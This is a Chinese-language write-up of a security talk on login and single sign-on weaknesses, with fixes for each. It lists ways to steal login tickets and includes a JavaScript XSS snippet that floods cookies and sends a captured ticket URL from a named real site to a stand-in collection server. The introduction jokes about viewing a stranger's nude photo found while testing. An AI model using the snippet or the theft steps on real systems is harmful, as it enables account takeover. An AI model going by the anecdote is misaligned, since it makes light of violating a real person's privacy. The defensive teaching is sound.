0x00 簡(jiǎn)介

這篇是我前幾個(gè)月在CSDN開(kāi)發(fā)者大會(huì)上講的賬號(hào)通行證安全相關(guān)的PPT《我的通行你的證》的文字整理版，稍微補(bǔ)充了點(diǎn)內(nèi)容。因?yàn)閼幸恢睕](méi)時(shí)間寫(xiě)，但年關(guān)將至，想到可以為老家的孩子們多掙點(diǎn)壓歲錢(qián)……

幾個(gè)月前，我在測(cè)百度的一個(gè)賬號(hào)體系的漏洞時(shí)，無(wú)意中進(jìn)入了慈云寺橋一甜品店的女收銀員的百度網(wǎng)盤(pán)，當(dāng)時(shí)隨便看了兩眼，突然發(fā)現(xiàn)了她的一張裸照，嚇的我趕緊關(guān)了頁(yè)面。當(dāng)時(shí)我就想，如果她是我最好的朋友的女朋友，她的裸照被壞人利用漏洞攻擊而泄露了，那該多不好呀

換位思考后，我閉著眼，對(duì)著裸照暗暗發(fā)誓，保護(hù)女網(wǎng)友，人人有責(zé)

此文比較長(zhǎng)，建議各位讓女朋友不用再等了，讓她穿上褲子先睡

主流盜號(hào)的八十一種姿勢(shì)

• 密碼類(lèi)漏洞
  ——密碼泄露、暴力破解、撞庫(kù)、密碼找回漏洞、社工庫(kù)、釣魚(yú)…
• 認(rèn)證cookie被盜
  ——xss攻擊、網(wǎng)絡(luò)泄露、中間人攻擊
• 其他漏洞
  ——二維碼登錄、單點(diǎn)登錄、第三方登錄、客戶端web自動(dòng)登錄、綁定其他賬號(hào)登錄、oauth登陸漏洞…

今天不講密碼安全，今天主要講講互聯(lián)網(wǎng)上常見(jiàn)的一些通行證相關(guān)的“其他漏洞”

0x01 先稍微講講認(rèn)證cookie的安全

目前各大互聯(lián)網(wǎng)公司的網(wǎng)站大多使用cookie來(lái)實(shí)現(xiàn)對(duì)用戶的認(rèn)證。如果攻擊者拿到了這個(gè)認(rèn)證cookie，就可以登錄了用戶的賬號(hào)了

cookie安全注意點(diǎn)

Httponly：防止cookie被xss偷

https：防止cookie在網(wǎng)絡(luò)中被偷

Secure：阻止cookie在非https下傳輸，很多全站https時(shí)會(huì)漏掉

Path :區(qū)分cookie的標(biāo)識(shí)，安全上作用不大，和瀏覽器同源沖突

• Httponly：防止cookie被xss偷 xss攻擊可以獲得用戶的cookie。但如果cookie加上了httponly屬性，js就無(wú)法讀取，可以保護(hù)我們的cookie不在xss攻擊中被偷走 但很多安全從業(yè)人員覺(jué)得cookie加上httponly了，xss就不算什么漏洞了。這當(dāng)然是無(wú)厘頭的，xss是標(biāo)準(zhǔn)的html/js代碼注入漏洞，它不僅僅只是可以偷cookie，還可以做很多，下面會(huì)有很多例子…

• https：防止cookie在網(wǎng)絡(luò)中被偷 目前主流網(wǎng)站的認(rèn)證cookie在互聯(lián)網(wǎng)中都是無(wú)保護(hù)進(jìn)行傳輸?shù)?，可能?huì)在網(wǎng)絡(luò)中被嗅探或其他方式泄露。所以建議安全級(jí)別高的網(wǎng)站使用全站https，并且不支持http的訪問(wèn)，而且還要使用HSTS，強(qiáng)制把http的請(qǐng)求轉(zhuǎn)成https請(qǐng)求

• Secure：阻止cookie在非https下傳輸，很多全站https時(shí)會(huì)漏掉 即使有時(shí)候你做了全站https，但你的cookie沒(méi)有加上Secure屬性的話。網(wǎng)絡(luò)中間人可以在第三方頁(yè)面中強(qiáng)制你使用http訪問(wèn)做了全站https的domain，此時(shí)你的cookie同樣會(huì)在不安全網(wǎng)絡(luò)中傳輸。如果加了secure屬性，則此cookie只在https的請(qǐng)求中傳輸

• Path :區(qū)分cookie的標(biāo)識(shí)，安全上作用不大，和瀏覽器同源沖突 cookie還有一個(gè)path屬性，這是一個(gè)區(qū)分cookie的標(biāo)識(shí)，安全上作用不大，和瀏覽器同源策略沖突。因?yàn)?，路徑A下的xss雖然讀不到路徑B下的cookie，但路徑A下的xss完全可以注入代碼進(jìn)入路徑B的頁(yè)面，然后再去讀路徑B下的cookie

比較好的cookie方案

1. cookie的不可猜測(cè)性
2. httponly+HTTPS+Secure+HSTS
3. 同IP不同port，盡量不要部署多個(gè)不同的web服務(wù)，因?yàn)閏ookie不區(qū)分端口

0x02通行證的“其他漏洞”

常見(jiàn)的通行證相關(guān)功能

• 二維碼登錄
• 單點(diǎn)登錄
• 第三方登錄
• app內(nèi)嵌頁(yè)登錄
• 綁定其他賬號(hào)
• 跨域傳輸認(rèn)證信息
• oauth登錄
• ……

0x03 二維碼登錄的安全風(fēng)險(xiǎn)

1. 無(wú)行為確認(rèn)

用戶掃描二維碼后，系統(tǒng)需提示用戶檢驗(yàn)二維碼的行為。若無(wú)確認(rèn)，用戶掃描攻擊者的登錄二維碼后，相當(dāng)于給攻擊者的票授權(quán)

案例： 可以欺騙劫持進(jìn)入來(lái)往用戶的賬號(hào) http://www./bugs/wooyun-2010-040673

2. CSRF漏洞偽造授權(quán)請(qǐng)求

給票據(jù)授權(quán)的請(qǐng)求如果是http的，并且可以被攻擊者偽造。攻擊者可以偽造請(qǐng)求讓用戶掃描二維碼后執(zhí)行，或讓用戶以其他形式對(duì)攻擊者的票據(jù)進(jìn)行授權(quán)

一些二維碼的授權(quán)請(qǐng)求按理說(shuō)應(yīng)該只在app端有效，但大多案例中，此請(qǐng)求在web站登陸狀態(tài)下也是有效，增大了攻擊面

案例：

微博上點(diǎn)開(kāi)我發(fā)的鏈接我就可登進(jìn)你的淘寶支付寶和微博 http://www./bugs/wooyun-2010-099486

聊著聊著我就上了你……的微信 http://www./bugs/wooyun-2010-070454

修復(fù)方案

1. 用戶掃描二維碼后，系統(tǒng)需提示用戶檢驗(yàn)二維碼的行為，告知風(fēng)險(xiǎn)，詢問(wèn)用戶是否要執(zhí)行操作
2. 用戶確認(rèn)后的請(qǐng)求攻擊者無(wú)法偽造，比如和用戶身份相關(guān)的一個(gè)校驗(yàn)token
3. 二維碼的授權(quán)請(qǐng)求在web登陸狀態(tài)下不可用，甚至可以使用非http協(xié)議，可以減少很多的攻擊面

0x04 綁定其他賬號(hào)的安全風(fēng)險(xiǎn)

1. 綁定請(qǐng)求未做csrf防護(hù)，攻擊者可以構(gòu)造惡意請(qǐng)求讓用戶綁定了攻擊者的賬號(hào)。這樣攻擊者登錄他自己的賬號(hào)后就可以操作用戶的資源

   案例：網(wǎng)易某處點(diǎn)開(kāi)我的鏈接就會(huì)被盜號(hào) by 子非海綿寶寶

2. 另外綁定了越多第三方的賬號(hào)，會(huì)讓你的安全級(jí)別降低，因?yàn)槟愕乃匈~號(hào)同時(shí)不出事的可能性降低了

修復(fù)方案

通用的防CSRF的解決方案，referrer+token

當(dāng)我在談csrf或jsonp劫持的時(shí)候，曾遇到無(wú)數(shù)人告訴我referrer可以偽造。我只能說(shuō)目前我還不知道在瀏覽器端偽造referrer的方法。如果你可以自己寫(xiě)個(gè)程序偽造referrer，那咱倆聊的不是一個(gè)事

0x05 綁定第三方oauth賬號(hào)登陸的安全風(fēng)險(xiǎn)

1. 從oauth服務(wù)商那獲取到accesstoken后，在和本站賬號(hào)綁定時(shí)，未校驗(yàn)state參數(shù)，導(dǎo)致綁定請(qǐng)求可以csrf。攻擊者可以用csrf估計(jì)讓你綁定他的賬號(hào)
2. 即使做了state參數(shù)的校驗(yàn)。綁定的初始請(qǐng)求，如點(diǎn)擊綁定按鈕發(fā)出的請(qǐng)求未做csrf防護(hù)
   新浪微博等某些服務(wù)商的oauth授權(quán)有如下特點(diǎn)，如果當(dāng)前登陸的微博曾經(jīng)授權(quán)過(guò)該應(yīng)用，那么就會(huì)自動(dòng)綁定成功
   所以我們可以找一個(gè)新浪微博登陸的csrf漏洞，讓用戶自動(dòng)登陸攻擊者的微博（新浪有此類(lèi)漏洞，這里就不詳細(xì)寫(xiě)出）
   然后再讓用戶訪問(wèn)綁定請(qǐng)求，這樣就完成了對(duì)攻擊者微博的綁定。攻擊者使用微博登陸就可以進(jìn)入用戶的賬號(hào)

案例：
點(diǎn)我的鏈接我就可能會(huì)進(jìn)入你的果殼賬號(hào)

關(guān)于oauth的更多安全總結(jié)，可以參考文章
OAuth 2.0安全案例回顧

0x06 認(rèn)證cookie的不規(guī)范傳輸安全風(fēng)險(xiǎn)

認(rèn)證cookie本應(yīng)該只出現(xiàn)在http請(qǐng)求中，并且在瀏覽器端的存儲(chǔ)中加了httponly屬性，是不會(huì)被xss攻擊盜取的。但某些功能架構(gòu)中，認(rèn)證cookie的不規(guī)范傳輸和使用可能會(huì)導(dǎo)致認(rèn)證cookie泄露

1. 頁(yè)面或接口數(shù)據(jù)輸出了當(dāng)前用戶的認(rèn)證信息，可能被當(dāng)前頁(yè)面的XSS攻擊利用
2. ssrf接口傳輸cookie給第三方

案例：

通過(guò)一糯米XSS可繞chrome并可用兩種方式拿到httponly的BDUSS（大部分非IE用戶點(diǎn)擊后百度云盤(pán)資料會(huì)被泄露）

微博上你點(diǎn)我的鏈接我就可xss你并可拿到httponly的cookie及其他危害

0x07 單點(diǎn)登錄的安全風(fēng)險(xiǎn)

單點(diǎn)登陸的簡(jiǎn)單原理

需求：如果用戶已經(jīng)登陸B(tài)站，則自動(dòng)登陸A站
實(shí)現(xiàn)：用戶訪問(wèn)A站，A站把用戶跳轉(zhuǎn)到B站，B站驗(yàn)證用戶已登陸，給用戶一張票，用戶拿著票去找A站，A拿著票去B那，驗(yàn)證成功后放用戶進(jìn)去

下文中將大量出現(xiàn)如下示例站點(diǎn)

A:http://www.
B:`http://passport.

舉例：用戶訪問(wèn)http://passport./login.php?url=http://www./a.php

B站檢驗(yàn)A站是白名單域后，然后302跳轉(zhuǎn)到

http://www./a.php?ticket=******

然后a.php用ticket參數(shù)去B站驗(yàn)證用戶合法后，再給用戶種認(rèn)證cookie

偷認(rèn)證信息的大概流程如下，后面會(huì)細(xì)講?？傊舻哪康木褪?，拿到用戶的ticket信息

常見(jiàn)的漏洞場(chǎng)景

互聯(lián)網(wǎng)上常見(jiàn)的幾個(gè)單點(diǎn)登陸場(chǎng)景，通行證或第三方站給的登陸憑的證使用的方式各有不同，分別該怎么偷

場(chǎng)景1、直接使用票據(jù)來(lái)做驗(yàn)證

http:///a.php?ticket=XXXXXXXXXXXXXXXX

服務(wù)端使用此ticket去sso驗(yàn)證此用戶身份，然后在本域種認(rèn)證cookie

偷的思路：

讓我們構(gòu)造的頁(yè)面獲取到憑證后請(qǐng)求我們控制的服務(wù)器上的資源，這樣referrer里就有ticket信息了

偷的幾種方式

1. 找能發(fā)自定義src的圖片的頁(yè)面去sso取票，帶著ticket信息的頁(yè)面會(huì)發(fā)起圖片請(qǐng)求，圖片服務(wù)是我們自己的，我們可以讀到請(qǐng)求中的referrer，referrer中會(huì)包含ticket信息
2. 找能發(fā)自定義src的iframe的頁(yè)面，iframe請(qǐng)求中的referre有ticket
3. 找一個(gè)有js跳轉(zhuǎn)漏洞的頁(yè)面去取票，跳轉(zhuǎn)目的地址是我們的服務(wù)，js的跳轉(zhuǎn)是帶上referrer的，讀取此請(qǐng)求的referrer，里面包含ticket
4. 如果img和iframe的src值只允許白名單域的url，那就再找一個(gè)白名單域的302跳轉(zhuǎn)漏洞來(lái)繞過(guò)白名單，302跳轉(zhuǎn)可以傳遞上個(gè)請(qǐng)求的referrer
5. Xss獲取地址欄信息

示意圖如下，如下是我畫(huà)的一個(gè)chrome瀏覽器，地址欄里ticket參數(shù)會(huì)被包含到下面的一些元素的請(qǐng)求的referrer中

參考案例： WooYun: 微博上你點(diǎn)我發(fā)的鏈接我就可以登上你的微博（web版和app端均可兩個(gè)漏洞一并提交）

場(chǎng)景2、中間頁(yè)接收ticket完成認(rèn)證，然后用js跳轉(zhuǎn)到我們的目標(biāo)頁(yè)

http:///login.php?ticket=XXXXXXXXXXXXXXXX&url=http:///a.php 此時(shí)會(huì)種上認(rèn)證cookie

然后頁(yè)面會(huì)使用js跳轉(zhuǎn)到 http:///a.php
location.href=“http:///a.php”;

例子：某綁定了微博賬號(hào)后可以自動(dòng)登陸的網(wǎng)站

偷的幾種方式

1. 找一個(gè)有302跳轉(zhuǎn)漏洞的頁(yè)面如b.php，發(fā)起單點(diǎn)登陸請(qǐng)求，然后帶著ticket信息的b.php會(huì)跳轉(zhuǎn)到我們的服務(wù)上。因?yàn)閖s的跳轉(zhuǎn)會(huì)帶referrer，然后再通過(guò)302跳轉(zhuǎn)把referrer傳給我們能控制的頁(yè)面
2. Xss獲取當(dāng)前頁(yè)面referrer

場(chǎng)景3、中間頁(yè)接收ticket完成認(rèn)證，然后用302跳轉(zhuǎn)到我們的目標(biāo)頁(yè)

如下的多個(gè)302跳轉(zhuǎn)

http://passport./login.php?url=http://www./a.php
http:///login.php?ticket=XXXXXXXXXXXXXXXX&url=http:///a.php
http:///a.php

偷的方式

Xss創(chuàng)建iframe，種超長(zhǎng)cookie，讓含ticket的302拒絕服務(wù)，然后使用iframe.contentWindow.location.href讀取最后的iframe的當(dāng)前地址

拒絕服務(wù)還有個(gè)好處，防止某些ticket有防重放的防護(hù)

for (i = 0; i < 20; i++) {
    document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth'; } var iframe =document.createElement('iframe');
iframe.src="http://bobo.163.com/checkAuth?url=http://www./&";
iframe.addEventListener('load', function(){ var ntes =
iframe.contentWindow.location.href; var img1
=document.createElement('img'); img1.src = "http://127.0.0.1/163img.php?r="+encodeURIComponent(ntes); for (i = 0;
i < 20; i++) {
    document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth'; } }, false); document.body.appendChild(iframe);

案例：網(wǎng)易用戶登陸狀態(tài)下點(diǎn)我的鏈接我就可進(jìn)入其郵箱、云筆記等服務(wù)

如上方法不適用于IE的一些版本，因?yàn)镮E在打不開(kāi)頁(yè)面的時(shí)候加載的是自己本地的頁(yè)面，導(dǎo)致錯(cuò)誤頁(yè)和我們的xss頁(yè)面不同源

修復(fù)方案

由認(rèn)證中心來(lái)跨域?yàn)樽诱驹O(shè)置認(rèn)證cookie

單點(diǎn)自動(dòng)登陸需要防護(hù)csrf，讓用戶不能偽造登陸請(qǐng)求

0x08 App內(nèi)嵌頁(yè)登錄的風(fēng)險(xiǎn)

當(dāng)我們?cè)谝粋€(gè)app內(nèi)打開(kāi)其公司產(chǎn)品的一些鏈接，會(huì)被加上認(rèn)證信息去讓用戶自動(dòng)登陸

微博客戶端、QQ客戶端、微信客戶端都曾有或現(xiàn)在正有此問(wèn)題，一般會(huì)加上參數(shù)sid、gsid、key

• 案例：聊著聊著我就上了你……的微信
• 案例：手機(jī)版QQ空間身份因素可被盜用
• 案例：之前的一個(gè)手機(jī)qq的漏洞，找一qq域下論壇發(fā)一張圖，然后把此頁(yè)發(fā)給手機(jī)qq上好友，他點(diǎn)擊就會(huì)被盜號(hào)

偷的幾種方式

見(jiàn)單點(diǎn)登錄場(chǎng)景一的幾種方式
用戶甚至?xí)ㄟ^(guò)app的分享功能把認(rèn)證信息分享到郵件或朋友圈

修復(fù)方案

不要直接把認(rèn)證憑證添加到webview的URL來(lái)完成認(rèn)證

使用COOKIE，POST都可以

0x09 跨域從通行證獲取到的憑證

跨域從通行證獲取登陸ticket

形式為類(lèi)似http://www./sso/getst.php?callback=jsonp

然后通行證會(huì)返回個(gè)jsonp格式的數(shù)據(jù)，里面包含認(rèn)證信息

案例：微博上你點(diǎn)我發(fā)的鏈接我就可以登上你的微博

偷的幾種方式

• 存在jsonp劫持漏洞
• Referrer限制不嚴(yán)格，可以通過(guò)字符串匹配繞過(guò)?；蛘咧С挚誶eferrer，可以用一些技巧發(fā)出空referer請(qǐng)求來(lái)繞過(guò)
• Xss漏洞，去跨域請(qǐng)求此接口得到數(shù)據(jù)

修復(fù)方案

架構(gòu)上就不該使用此種方案

app和web的接口不要混用，要保證接口的干凈單一。我遇到過(guò)一些案例，web和app為了互相兼容，而降低了本身的安全策略，或使用了不合理的架構(gòu)

0x0A 主流SSO的一些問(wèn)題

如上都是漏洞信息，但有時(shí)候還有些架構(gòu)上的小問(wèn)題可能會(huì)導(dǎo)致出現(xiàn)漏洞，或者讓攻擊者的漏洞利用更方便

常見(jiàn)的sso的一些安全風(fēng)險(xiǎn)如下：

• 各個(gè)站的票據(jù)通用，很多直接用的就是認(rèn)證cookie
• 認(rèn)證Cookie設(shè)置保護(hù)不夠，httponly、secure…
• sso給子站授權(quán)的票據(jù)可重放
• sso給子站授權(quán)的票據(jù)有效期特別長(zhǎng)
• 認(rèn)證信息傳輸未使用https
• sso未加入IP或UA等風(fēng)控策略
• 攻擊者偷到票據(jù)后可輕易使用并無(wú)報(bào)警
• 票據(jù)的交互流程保護(hù)不嚴(yán)，容易被漏洞偷。（好的流程應(yīng)該是由sso來(lái)跨域頒發(fā)）
• 修改密碼后認(rèn)證cookie未失效
• 用戶退出登錄后認(rèn)證cookie未失效
• 自動(dòng)登錄，綁定，退出等敏感功能，無(wú)csrf防護(hù)
• 綁定了第三方賬號(hào)，降低自己的安全等級(jí)
• App和web接口混用，導(dǎo)致安全級(jí)別降低

案例：你windows上開(kāi)著QQ點(diǎn)了我的鏈接我就進(jìn)了你的qq郵箱財(cái)付通等（任意騰訊xss拿qq的clientkey）

這個(gè)案例里除了xss漏洞，有兩個(gè)安全設(shè)計(jì)上的問(wèn)題，就是上面提到的：

1. 認(rèn)證Cookie保護(hù)不夠
2. 自動(dòng)登錄，綁定，退出等敏感功能，無(wú)csrf防護(hù)

0x0B 總結(jié)

網(wǎng)絡(luò)是我家，安全靠大家。保護(hù)女網(wǎng)友，幫她加把鎖